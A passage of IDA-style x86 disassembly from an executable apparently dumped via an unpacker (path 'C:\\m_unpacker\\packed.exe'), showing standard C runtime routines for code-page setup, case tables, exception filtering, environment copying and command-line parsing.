		test	eax, eax
		jz	short loc_415C45
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_415BEC
; ---------------------------------------------------------------------------


loc_415C45:				; CODE XREF: sub_415AF3+145j
		call	dword_41A07C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_415BEC
; ---------------------------------------------------------------------------


loc_415C50:				; CODE XREF: sub_415AF3+10Fj
		push	[ebp+arg_0]
		call	sub_4175A6
		pop	ecx
		jmp	short loc_415C98
; ---------------------------------------------------------------------------


loc_415C5B:				; CODE XREF: sub_415AF3+7Bj
					; sub_415AF3+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_415C70
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_415B3D


loc_415C70:				; CODE XREF: sub_415AF3+16Fj
		mov	dword_4BA284, 1Ch
		mov	dword_4BA288, edi
		jmp	short loc_415C98
; ---------------------------------------------------------------------------


loc_415C82:				; CODE XREF: sub_415AF3+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_415C9B
; ---------------------------------------------------------------------------


loc_415C87:				; CODE XREF: sub_415AF3+15j
					; sub_415AF3+37j
		and	dword_4BA288, 0
		mov	dword_4BA284, 9


loc_415C98:				; CODE XREF: sub_415AF3+120j
					; sub_415AF3+166j ...
		or	eax, 0FFFFFFFFh


loc_415C9B:				; CODE XREF: sub_415AF3+4Cj
					; sub_415AF3+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415AF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CA0	proc near		; CODE XREF: sub_416064+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_415E39	; GetOEMCP
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4BB584
		mov	[ebp+arg_0], esi
		jz	loc_415E2D
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_415E23
		xor	edx, edx
		mov	eax, offset dword_424450


loc_415CD4:				; CODE XREF: sub_415CA0+41j
		cmp	[eax], esi
		jz	short loc_415D4A
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_424540
		jl	short loc_415CD4
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_41A04C	; GetCPInfo
		cmp	eax, 1
		jnz	loc_415E1B
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4BB6A0
		cmp	[ebp+var_18], 1
		mov	dword_4BB584, esi
		rep stosd
		stosb
		mov	dword_4BB7A4, ebx
		jbe	loc_415E09
		cmp	[ebp+var_12], 0
		jz	loc_415DDF
		lea	ecx, [ebp+var_11]


loc_415D27:				; CODE XREF: sub_415CA0+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_415DDF
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_415D38:				; CODE XREF: sub_415CA0+A8j
		cmp	eax, edx
		ja	loc_415DD3
		or	byte_4BB6A1[eax], 4
		inc	eax
		jmp	short loc_415D38
; ---------------------------------------------------------------------------


loc_415D4A:				; CODE XREF: sub_415CA0+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4BB6A0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_424460[esi]


loc_415D66:				; CODE XREF: sub_415CA0+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_415D99


loc_415D6D:				; CODE XREF: sub_415CA0+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_415D99
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_415D92
		mov	edx, [ebp+var_4]
		mov	dl, byte_424448[edx]


loc_415D87:				; CODE XREF: sub_415CA0+F0j
		or	byte_4BB6A1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_415D87


loc_415D92:				; CODE XREF: sub_415CA0+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_415D6D


loc_415D99:				; CODE XREF: sub_415CA0+CBj
					; sub_415CA0+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_415D66
		mov	eax, [ebp+arg_0]
		mov	dword_4BB59C, 1
		push	eax
		mov	dword_4BB584, eax
		call	sub_415E83
		lea	esi, dword_424454[esi]
		mov	edi, offset dword_4BB590
		movsd
		movsd
		pop	ecx
		mov	dword_4BB7A4, eax
		movsd
		jmp	short loc_415E28
; ---------------------------------------------------------------------------


loc_415DD3:				; CODE XREF: sub_415CA0+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_415D27


loc_415DDF:				; CODE XREF: sub_415CA0+7Ej
					; sub_415CA0+8Bj
		push	1
		pop	eax


loc_415DE2:				; CODE XREF: sub_415CA0+14Fj
		or	byte_4BB6A1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_415DE2
		push	esi
		call	sub_415E83
		pop	ecx
		mov	dword_4BB7A4, eax
		mov	dword_4BB59C, 1
		jmp	short loc_415E0F
; ---------------------------------------------------------------------------


loc_415E09:				; CODE XREF: sub_415CA0+74j
		mov	dword_4BB59C, ebx


loc_415E0F:				; CODE XREF: sub_415CA0+167j
		xor	eax, eax
		mov	edi, offset dword_4BB590
		stosd
		stosd
		stosd
		jmp	short loc_415E28
; ---------------------------------------------------------------------------


loc_415E1B:				; CODE XREF: sub_415CA0+51j
		cmp	dword_4BA32C, ebx
		jz	short loc_415E31


loc_415E23:				; CODE XREF: sub_415CA0+27j
		call	sub_415EB6


loc_415E28:				; CODE XREF: sub_415CA0+131j
					; sub_415CA0+179j
		call	sub_415EDF


loc_415E2D:				; CODE XREF: sub_415CA0+1Dj
		xor	eax, eax
		jmp	short loc_415E34
; ---------------------------------------------------------------------------


loc_415E31:				; CODE XREF: sub_415CA0+181j
		or	eax, 0FFFFFFFFh


loc_415E34:				; CODE XREF: sub_415CA0+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E39	proc near		; CODE XREF: sub_415CA0+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4BA32C, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_415E59
		mov	dword_4BA32C, 1
		jmp	dword_41A044
; ---------------------------------------------------------------------------


loc_415E59:				; CODE XREF: sub_415E39+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_415E6E
		mov	dword_4BA32C, 1
		jmp	dword_41A048
; ---------------------------------------------------------------------------


loc_415E6E:				; CODE XREF: sub_415E39+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_415E82
		mov	eax, dword_4BA324
		mov	dword_4BA32C, 1

locret_415E82:				; CODE XREF: sub_415E39+38j
		retn
sub_415E39	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E83	proc near		; CODE XREF: sub_415CA0+118p
					; sub_415CA0+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_415EB0
		sub	eax, 4
		jz	short loc_415EAA
		sub	eax, 0Dh
		jz	short loc_415EA4
		dec	eax
		jz	short loc_415E9E
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_415E9E:				; CODE XREF: sub_415E83+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_415EA4:				; CODE XREF: sub_415E83+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_415EAA:				; CODE XREF: sub_415E83+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_415EB0:				; CODE XREF: sub_415E83+9j
		mov	eax, 411h
		retn
sub_415E83	endp


; =============== S U B	R O U T	I N E =======================================



sub_415EB6	proc near		; CODE XREF: sub_415CA0:loc_415E23p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4BB6A0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4BB590
		mov	dword_4BB584, eax
		mov	dword_4BB59C, eax
		mov	dword_4BB7A4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_415EB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415EDF	proc near		; CODE XREF: sub_415CA0:loc_415E28p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4BB584
		call	dword_41A04C	; GetCPInfo
		cmp	eax, 1
		jnz	loc_416018
		xor	eax, eax
		mov	esi, 100h


loc_415F09:				; CODE XREF: sub_415EDF+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_415F09
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_415F5A
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_415F28:				; CODE XREF: sub_415EDF+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_415F4F
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_415F4F:				; CODE XREF: sub_415EDF+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_415F28
		pop	edi
		pop	ebx


loc_415F5A:				; CODE XREF: sub_415EDF+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4BB7A4
		push	dword_4BB584
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_41745D
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4BB584
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4BB7A4
		call	sub_4158A4
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4BB584
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4BB7A4
		call	sub_4158A4
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_415FD5:				; CODE XREF: sub_415EDF+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_415FF3
		or	byte_4BB6A1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_415FEB:				; CODE XREF: sub_415EDF+127j
		mov	byte_4BB5A0[eax], dl
		jmp	short loc_41600F
; ---------------------------------------------------------------------------


loc_415FF3:				; CODE XREF: sub_415EDF+FCj
		test	dl, 2
		jz	short loc_416008
		or	byte_4BB6A1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_415FEB
; ---------------------------------------------------------------------------


loc_416008:				; CODE XREF: sub_415EDF+117j
		and	byte_4BB5A0[eax], 0


loc_41600F:				; CODE XREF: sub_415EDF+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_415FD5
		jmp	short loc_416061
; ---------------------------------------------------------------------------


loc_416018:				; CODE XREF: sub_415EDF+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_41601F:				; CODE XREF: sub_415EDF+180j
		cmp	eax, 41h
		jb	short loc_41603D
		cmp	eax, 5Ah
		ja	short loc_41603D
		or	byte_4BB6A1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_416035:				; CODE XREF: sub_415EDF+174j
		mov	byte_4BB5A0[eax], cl
		jmp	short loc_41605C
; ---------------------------------------------------------------------------


loc_41603D:				; CODE XREF: sub_415EDF+143j
					; sub_415EDF+148j
		cmp	eax, 61h
		jb	short loc_416055
		cmp	eax, 7Ah
		ja	short loc_416055
		or	byte_4BB6A1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_416035
; ---------------------------------------------------------------------------


loc_416055:				; CODE XREF: sub_415EDF+161j
					; sub_415EDF+166j
		and	byte_4BB5A0[eax], 0


loc_41605C:				; CODE XREF: sub_415EDF+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41601F


loc_416061:				; CODE XREF: sub_415EDF+137j
		pop	esi
		leave
		retn
sub_415EDF	endp


; =============== S U B	R O U T	I N E =======================================



sub_416064	proc near		; CODE XREF: sub_41628E+9p
					; sub_4162E6+Dp ...
		cmp	dword_4BB8F0, 0
		jnz	short locret_41607F
		push	0FFFFFFFDh
		call	sub_415CA0
		pop	ecx
		mov	dword_4BB8F0, 1

locret_41607F:				; CODE XREF: sub_416064+7j
		retn
sub_416064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416080	proc near		; CODE XREF: sub_41090E+2Bp
					; sub_41090E+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4BB59C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4160A4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_410090
		add	esp, 0Ch
		jmp	short loc_416107
; ---------------------------------------------------------------------------


loc_4160A4:				; CODE XREF: sub_416080+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4160E9
		mov	ecx, [ebp+arg_4]


loc_4160AF:				; CODE XREF: sub_416080+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4BB6A1[esi], 4
		mov	[edi], al
		jz	short loc_4160D3
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4160DF
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4160E5
		jmp	short loc_4160D9
; ---------------------------------------------------------------------------


loc_4160D3:				; CODE XREF: sub_416080+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4160E9


loc_4160D9:				; CODE XREF: sub_416080+51j
		test	edx, edx
		jnz	short loc_4160AF
		jmp	short loc_4160E9
; ---------------------------------------------------------------------------


loc_4160DF:				; CODE XREF: sub_416080+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4160E9
; ---------------------------------------------------------------------------


loc_4160E5:				; CODE XREF: sub_416080+4Fj
		and	byte ptr [edi-2], 0


loc_4160E9:				; CODE XREF: sub_416080+2Aj
					; sub_416080+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_416104
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_416104:				; CODE XREF: sub_416080+6Fj
		mov	eax, [ebp+arg_0]


loc_416107:				; CODE XREF: sub_416080+22j
		pop	edi
		pop	ebp
		retn
sub_416080	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41610A	proc near		; CODE XREF: sub_410B5C+E3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_41624B
		test	eax, eax
		pop	ecx
		jz	loc_41623F
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41623F
		cmp	ebx, 5
		jnz	short loc_41613B
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_416248
; ---------------------------------------------------------------------------


loc_41613B:				; CODE XREF: sub_41610A+23j
		cmp	ebx, 1
		jz	loc_41623A
		mov	ecx, dword_4BA330
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4BA330, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41622A
		mov	ecx, dword_4245B8
		mov	edx, dword_4245BC
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41618A
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:424548h[esi*4]


loc_416181:				; CODE XREF: sub_41610A+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_416181


loc_41618A:				; CODE XREF: sub_41610A+69j
		mov	eax, [eax]
		mov	esi, dword_4245C4
		cmp	eax, 0C000008Eh
		jnz	short loc_4161A5
		mov	dword_4245C4, 83h
		jmp	short loc_416215
; ---------------------------------------------------------------------------


loc_4161A5:				; CODE XREF: sub_41610A+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_4161B8
		mov	dword_4245C4, 81h
		jmp	short loc_416215
; ---------------------------------------------------------------------------


loc_4161B8:				; CODE XREF: sub_41610A+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_4161CB
		mov	dword_4245C4, 84h
		jmp	short loc_416215
; ---------------------------------------------------------------------------


loc_4161CB:				; CODE XREF: sub_41610A+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_4161DE
		mov	dword_4245C4, 85h
		jmp	short loc_416215
; ---------------------------------------------------------------------------


loc_4161DE:				; CODE XREF: sub_41610A+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_4161F1
		mov	dword_4245C4, 82h
		jmp	short loc_416215
; ---------------------------------------------------------------------------


loc_4161F1:				; CODE XREF: sub_41610A+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_416204
		mov	dword_4245C4, 86h
		jmp	short loc_416215
; ---------------------------------------------------------------------------


loc_416204:				; CODE XREF: sub_41610A+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_416215
		mov	dword_4245C4, 8Ah


loc_416215:				; CODE XREF: sub_41610A+99j
					; sub_41610A+ACj ...
		push	dword_4245C4
		push	8
		call	ebx
		pop	ecx
		mov	dword_4245C4, esi
		pop	ecx
		pop	esi
		jmp	short loc_416232
; ---------------------------------------------------------------------------


loc_41622A:				; CODE XREF: sub_41610A+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_416232:				; CODE XREF: sub_41610A+11Ej
		mov	eax, [ebp+arg_0]
		mov	dword_4BA330, eax


loc_41623A:				; CODE XREF: sub_41610A+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_416248
; ---------------------------------------------------------------------------


loc_41623F:				; CODE XREF: sub_41610A+Fj
					; sub_41610A+1Aj
		push	[ebp+arg_4]
		call	dword_41A040	; UnhandledExceptionFilter


loc_416248:				; CODE XREF: sub_41610A+2Cj
					; sub_41610A+133j
		pop	ebx
		pop	ebp
		retn
sub_41610A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41624B	proc near		; CODE XREF: sub_41610A+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_4245C0
		cmp	dword_424540, edx
		push	esi
		mov	eax, offset dword_424540
		jz	short loc_416278
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:424540h[esi*4]


loc_41626D:				; CODE XREF: sub_41624B+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_416278
		cmp	[eax], edx
		jnz	short loc_41626D


loc_416278:				; CODE XREF: sub_41624B+16j
					; sub_41624B+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:424540h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41628B
		cmp	[eax], edx
		jz	short locret_41628D


loc_41628B:				; CODE XREF: sub_41624B+3Aj
		xor	eax, eax

locret_41628D:				; CODE XREF: sub_41624B+3Ej
		retn
sub_41624B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41628E	proc near		; CODE XREF: sub_410B5C+A5p
		cmp	dword_4BB8F0, 0
		jnz	short loc_41629C
		call	sub_416064


loc_41629C:				; CODE XREF: sub_41628E+7j
		push	esi
		mov	esi, dword_4BB8E8
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_4162CE


loc_4162A9:				; CODE XREF: sub_41628E+33j
					; sub_41628E+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_4162C6
		test	al, al
		jz	short loc_4162C6
		movzx	eax, al
		push	eax
		call	sub_41803F
		test	eax, eax
		pop	ecx
		jz	short loc_4162A9
		inc	esi
		jmp	short loc_4162A9
; ---------------------------------------------------------------------------


loc_4162C6:				; CODE XREF: sub_41628E+21j
					; sub_41628E+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_4162D8


loc_4162CB:				; CODE XREF: sub_41628E+52j
		inc	esi
		jmp	short loc_4162D8
; ---------------------------------------------------------------------------


loc_4162CE:				; CODE XREF: sub_41628E+19j
		cmp	al, 20h
		jbe	short loc_4162D8


loc_4162D2:				; CODE XREF: sub_41628E+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_4162D2


loc_4162D8:				; CODE XREF: sub_41628E+3Bj
					; sub_41628E+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_4162E2
		cmp	al, 20h
		jbe	short loc_4162CB


loc_4162E2:				; CODE XREF: sub_41628E+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_41628E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4162E6	proc near		; CODE XREF: sub_410B5C+8Ep
		push	ebx
		xor	ebx, ebx
		cmp	dword_4BB8F0, ebx
		push	esi
		push	edi
		jnz	short loc_4162F8
		call	sub_416064


loc_4162F8:				; CODE XREF: sub_4162E6+Bj
		mov	esi, dword_4BA2D0
		xor	edi, edi


loc_416300:				; CODE XREF: sub_4162E6+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_416318
		cmp	al, 3Dh
		jz	short loc_41630B
		inc	edi


loc_41630B:				; CODE XREF: sub_4162E6+22j
		push	esi
		call	sub_40E730
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_416300
; ---------------------------------------------------------------------------


loc_416318:				; CODE XREF: sub_4162E6+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_40E882
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4BA2AC, esi
		jnz	short loc_41633A
		push	9
		call	sub_410C52
		pop	ecx


loc_41633A:				; CODE XREF: sub_4162E6+4Aj
		mov	edi, dword_4BA2D0
		cmp	[edi], bl
		jz	short loc_41637D
		push	ebp


loc_416345:				; CODE XREF: sub_4162E6+94j
		push	edi
		call	sub_40E730
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_416376
		push	ebp
		call	sub_40E882
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_416369
		push	9
		call	sub_410C52
		pop	ecx


loc_416369:				; CODE XREF: sub_4162E6+79j
		push	edi
		push	dword ptr [esi]
		call	sub_40ED20
		pop	ecx
		add	esi, 4
		pop	ecx


loc_416376:				; CODE XREF: sub_4162E6+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_416345
		pop	ebp


loc_41637D:				; CODE XREF: sub_4162E6+5Cj
		push	dword_4BA2D0
		call	sub_40ECAF
		pop	ecx
		mov	dword_4BA2D0, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4BB8EC, 1
		pop	ebx
		retn
sub_4162E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41639F	proc near		; CODE XREF: sub_410B5C+89p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4BB8F0, ebx
		push	esi
		push	edi
		jnz	short loc_4163B6
		call	sub_416064


loc_4163B6:				; CODE XREF: sub_41639F+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	dword_41A078	; GetModuleFileNameA
		mov	eax, dword_4BB8E8
		mov	off_4BA2BC, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_4163DB
		mov	edi, eax


loc_4163DB:				; CODE XREF: sub_41639F+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_416438
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_40E882
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41640B
		push	8
		call	sub_410C52
		pop	ecx


loc_41640B:				; CODE XREF: sub_41639F+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_416438
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_4BA2A4, esi
		pop	edi
		pop	esi
		mov	dword_4BA2A0, eax
		pop	ebx
		leave
		retn
sub_41639F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416438	proc near		; CODE XREF: sub_41639F+47p
					; sub_41639F+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_416462
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_416462:				; CODE XREF: sub_416438+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4164AB


loc_416467:				; CODE XREF: sub_416438+58j
					; sub_416438+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_416499
		test	dl, dl
		jz	short loc_416499
		movzx	edx, dl
		test	byte_4BB6A1[edx], 4
		jz	short loc_41648C
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41648C
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_41648C:				; CODE XREF: sub_416438+46j
					; sub_416438+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_416467
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_416467
; ---------------------------------------------------------------------------


loc_416499:				; CODE XREF: sub_416438+36j
					; sub_416438+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4164A3
		and	byte ptr [esi],	0
		inc	esi


loc_4164A3:				; CODE XREF: sub_416438+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4164EE
		inc	eax
		jmp	short loc_4164EE
; ---------------------------------------------------------------------------


loc_4164AB:				; CODE XREF: sub_416438+2Dj
					; sub_416438+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4164B6
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_4164B6:				; CODE XREF: sub_416438+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4BB6A1[ebx], 4
		jz	short loc_4164D1
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4164D0
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4164D0:				; CODE XREF: sub_416438+91j
		inc	eax


loc_4164D1:				; CODE XREF: sub_416438+8Bj
		cmp	dl, 20h
		jz	short loc_4164DF
		test	dl, dl
		jz	short loc_4164E3
		cmp	dl, 9
		jnz	short loc_4164AB


loc_4164DF:				; CODE XREF: sub_416438+9Cj
		test	dl, dl
		jnz	short loc_4164E6


loc_4164E3:				; CODE XREF: sub_416438+A0j
		dec	eax
		jmp	short loc_4164EE
; ---------------------------------------------------------------------------


loc_4164E6:				; CODE XREF: sub_416438+A9j
		test	esi, esi
		jz	short loc_4164EE
		and	byte ptr [esi-1], 0


loc_4164EE:				; CODE XREF: sub_416438+6Ej
					; sub_416438+71j ...
		and	[ebp+arg_10], 0


loc_4164F2:				; CODE XREF: sub_416438+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4165DB


loc_4164FB:				; CODE XREF: sub_416438+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_416507
		cmp	dl, 9
		jnz	short loc_41650A


loc_416507:				; CODE XREF: sub_416438+C8j
		inc	eax
		jmp	short loc_4164FB
; ---------------------------------------------------------------------------


loc_41650A:				; CODE XREF: sub_416438+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4165DB
		test	edi, edi
		jz	short loc_41651F
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41651F:				; CODE XREF: sub_416438+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_416524:				; CODE XREF: sub_416438+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_41652D:				; CODE XREF: sub_416438+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_416536
		inc	eax
		inc	ebx
		jmp	short loc_41652D
; ---------------------------------------------------------------------------


loc_416536:				; CODE XREF: sub_416438+F8j
